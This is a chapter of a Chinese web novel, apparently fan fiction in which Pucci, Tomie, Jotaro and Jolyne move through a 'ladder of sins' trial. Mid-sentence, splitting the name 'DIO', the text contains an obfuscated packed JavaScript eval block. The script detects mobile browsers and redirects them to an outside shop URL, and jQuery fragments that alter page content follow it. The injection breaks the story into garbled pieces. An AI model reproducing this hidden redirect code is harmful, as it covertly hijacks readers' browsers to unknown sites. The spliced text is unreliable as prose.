默认冷灰
24号文字
方正启体

12.罪孽阶梯

作者:大家都暴富本书字数:K更新时间:
    七宗罪分别是


    傲慢


    嫉妒


    暴怒


    懒惰


    贪婪


    暴食


    色欲


    他离开了傲慢,现在抵达了嫉妒之罪。


    当他看见另一个自己时,近乎一瞬间摸到了第二轮试炼的边缘。


    这个家伙,是完美人生孕育而出的自己。


    他身上穿着考究的西装,而不是神父袍。头发相比于自己的自然生长,显然精心打理过,无论谁扫一眼,都知道是个富贵少爷。


    明明他们长相一样,男人却没有任何惊慌,甚至带着荒谬的熟稔,正是因为这份熟稔,他将注意力更多的放在了富江身上,并没有刻意和他交流。


    “小姐你好,我叫恩里克.普奇,您是怎么和普奇认识的?”男人的话语带着好奇。


    富江没有回答问题的习惯,她漂亮的眼睛看着眼前的男人,双手环胸,指甲轻轻敲打在自己的臂膀上,发出微不可闻的声音:“这倒是有意思,他叫恩里克·普奇,你也叫恩里克·普奇,喊起彼此的名字不奇怪吗?”


    神父恩里克·普奇心脏缩紧,按照他过往的谨慎,有些事情不应该这么快速的戳破,否则就会产生意料之外的危险。


    自己是不是做错了,当时他应该选择自己待在这个关卡,而不是带着这样不可控的变数。


    不……自己没有做错。富江若是能为自己所用,必然是极其出色的棋子。自己不应该因为小范围的失控,就产生不必要的焦虑。


    穿着西装的普奇并没有被点醒的惊讶,而是露出了果然如此的笑容:“不仅是富江小姐,大家都很好奇这一点呢。不瞒你说,连我都觉得很神奇。”他低头看了眼腕表,语气温和,“马上就要到饭点了,我们边走边说怎么样?”


    富江当然不会拒绝


    就这样,他们往神父普奇熟悉的道路上走去,一砖一瓦的造型都分毫不差。


    努力将记忆里的街道和此刻的街道进行对比的同时,神父普奇安静聆听着西装神父的话语,在不算长的赘述中,他大概知道了自己当下的身份和位置。


    当然,前提是对方每句话都是真实的,完全没有说谎。毕竟这个故事,算不得多么有逻辑。


    在这个关卡中,西装普奇取代了自己原本的位置,而他则成了偏远亲戚的孩子。因为父母早逝,他只能被迫信仰神学,成为了教堂里的神父。


    机缘巧合作祟,他和西装普奇意外相见。


    当两人看见彼此时,都愣在了原地。当他们好不容易接受了事实,开始交谈后,发现了更不可思议的事情,他们的名字居然也一模一样!


    若不是两人年龄相差了将近二十有余,西装普奇还以为这是他遗失在外的血亲,自己的双胞胎弟弟,则是被人偷梁换栋的冒牌货。


    相比于认真聆听但很安静的普奇,富江倒是相反。虽然她会做出简单的回应,但谁也能看出,这个故事吸引不了她半点兴趣。


    她突然站定,看向了神父普奇。


    “我累了。”


    富江拽住了普奇的衣袖,声音镇定自若。


    “累了吗?”西装普奇的声音带着安抚的意味,“麻烦再坚持一下,再过几分钟就要到家了。”


    富江根本没有搭理对方,她漆黑的眼眸里都是神父普奇的倒映,让人恍惚间以为自己是她的整个世界。


    “我说,我、累、了。”


    或许早就知道了富江恶劣的秉性,普奇并没有惊讶,只是觉得该来的终于来了。


    可是,在满足富江的愿望前,普奇说道:“如果我要满足你的愿望,你应该说什么?”


    谆谆教导的模样,就像他面对的不是一个成年人,而是一个脑袋还处于蒙昧状态的孩子。


    他简直集结了所有神父的刻板印象合集。


    “我不知道你过去的人生是怎样的。”不想迷失在富江的眼睛里,普奇错开了视线,顺便拉着富江后退几步,离开另一个自己,声音放低,“我也不知道你对这个世界有怎样的看法,但如果你想拜托我做事情,麻烦将请、谢谢挂在嘴边。”


    一双手像食人花的滕蔓般,网住了普奇脆弱的脖颈。毒蛇吐着信子,吻上了他的侧脸:“我很需要你,父亲。如果你背我走回去,我会很幸福的哦。”


    富江的声音学着他一样,又低又轻,与其说她在说话,不如说故意在自己耳边吹气。


    冷静


    他告诉自己


    既然事情已经发生了,羞耻毫无意义。


    无论是在另一个自己眼中看到震惊也好,还是路边行人们刻意放慢的脚步也好,没有细想下去的必要。


    他镇定的,或者说自以为镇定的退后了一步。


    冷静


    自己果然最了解自己,西装普奇并没有冒犯的问出任何话语,他语气平和的就像什么都未曾看到过:“富江小姐如果累了,就请在这附近先休息片刻吧,不用着急。我借着这个时间,刚好可以回家嘱咐厨师,再额外准备一份午餐。”


    西装普奇明显的察觉了事情有些不对劲,所以他周全的将自己摘了出去,留下富江和普奇单独待在原地。


    “愚弄他人,是一件很有意思的事情吗?”


    “愚弄?真是给我扣了好大一顶帽子啊。我哪里愚弄你了,说说啊。”富江表情未变,她甚至轻松的又占据了话语的主动权。


    方方面面都愚弄了


    普奇在心里回答,但他不会这样告诉富江,不然可能又会被她歪曲。


    “我并非你的父亲,不是吗?你不应该将这样的称呼,安置在我身上。”


    “我没有愚弄别人。”富江的声音放轻,“您是神父,我的父亲也是神父,你们有共同的信仰,我不觉得其中有什么区别。”


    普奇想要仔细观察富江的表情,洞察她说谎的痕迹,但是他失败了。当看富江的脸时,能保持住严肃的表情,已经是相当不容易的事情,若听她诉说话语,更是巨大的考验。


    用牙齿咬住自己的舌尖,普奇努力让自己挣脱困境,静心去听富江的话语。


    “我的父亲对母亲一见钟情,但碍于自己的身份,无法和她在一起。他想要远离她,但是人无法控制自己的心,母亲和父亲依旧坠入了爱河,而我则在谴责里出生,成为了他人生的污点。


    接着,母亲被他的家庭,他的宗教驱逐,带着我远走高飞。我每次见父亲,都要耗费相当长的时间。”


    当富江的手指攀附上自己的眉眼时,普奇这才发现自己又失神了。


    “他说话和你很像。无论是吐字也好,还是服装也好,甚至是语气都那么相像。所以,我将你理解为我的父亲,不也是理所当然的吗?”


    很多时候,对方话语真假与否,取决于逻辑。


    普奇无从找到证据,证明对方在说谎。


    甚至可以这样说,富江的话语,让普奇想起了DI


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065443|194263||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    O的儿子们,尤其是那个金发的小子,他身上也同样有着富江易怒的性格。


    他们同样没有父亲,他们同样不听指挥。


    如此说来,怎么面对富江,倒是回到了普奇的舒适区。


    富江此刻仰着脸看他,眼睛显得比平时要圆一些,让她看着竟有些乖巧,如同等着他最终判决的孩子。


    他的手,隔了半晌,终于轻轻按在了她的头顶。


    ……


    相比于普奇这边的闲适,另一边的情况就不容乐观了。


    “你到底要干什么?告诉我!”空条承太郎拽住了富江胸前的衣襟,单手就将富江提了起来。


    不不不,这不是他的本意。


    他怎么能这样做?


    灵与肉似乎被劈成了两半,空条承太郎此刻的怒火,冲向的是自己,但结果却转化为了对外界毫无理智的暴怒,做出完全背离初衷的事情。越是这样,他越是愤怒,简直就是无解的死循环。


    相比于愤怒到头上鼓出青筋的男人,富江冷静到了不正常的地步,她黑色的瞳孔缓慢的眨巴着,似乎不太理解对方为什么会勃然大怒。


    别说她,连空条徐伦也觉没想到过,现在竟然出现这样的状况,明明几个小时前,他们的相处还算正常。


    这样的不正常,到底是什么时候开始的呢?


    不敢轻举妄动,空条徐伦的头脑飞速旋转,去飞速拆解抵达到此地后的全部记忆,寻找破解的办法。


    刚来此地时,她就已经有了轻微的不适感。


    这里没有任何人为产生的足迹,完全是一片广袤无垠,看不见尽头的荒漠。更让人不舒服的是,天空呈现的是乌云笼罩的灰色,让人分辨不清时间。


    才被水淹后,又遇到这样的景象,无论是谁都不会出现好心情。


    “哥,我记得你有手表,要不看看时间?”


    “不必了。”


    其实往日,空条徐伦可以很轻松的读懂他的未尽之语,毕竟他们相处了很多年,大家都很了解彼此。


    但是这次不知道怎么回事,她心底冒出了一股无名之火:“什么叫做不必了?”


    声音发出后,尖利的她自己都有些诧异。


    空条承太郎皱起了眉头,语气有些困惑:“徐伦……?”


    “抱歉,我也不知道怎么回事,突然就……”曲起手指敲了敲自己的额头,空条徐伦思忖道,“这个地方应该不简单,我感觉它似乎会放大自身的情绪。不过……也有可能是我单方面的原因。”


    为了转移注意力,空条徐伦打开了淡蓝色光幕。


    自从他们成功突破第一个关卡后,淡蓝色屏幕上的话语出现了变化。罪孽阶梯的后面,增加了(1/7),也就是说后面还有六个关卡等着他们通关。


    深吸了一口气,空条承太郎此时也很烦躁,但作为哥哥,他必须要承担自己的责任。他调整好状态,语气再度变得坚定:“无论怎样,都不要坐以待毙,走吧。”


    就这样,空条徐伦拉着富江走在后面,空条承太郎独身一身打前阵。


    为了避免迷失方向,每隔半个小时,空条承太郎就会撕掉外套的一小节布料,把它捆在枯树上。


    就这样走走停停几个小时后,空条承太郎下意识的回眸,只见刚才绑在枯树上的布片,居然不翼而飞,来到了富江的手中。


    她为什么要解开布条?!


    空条承太郎名为理智的弦,绷断了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)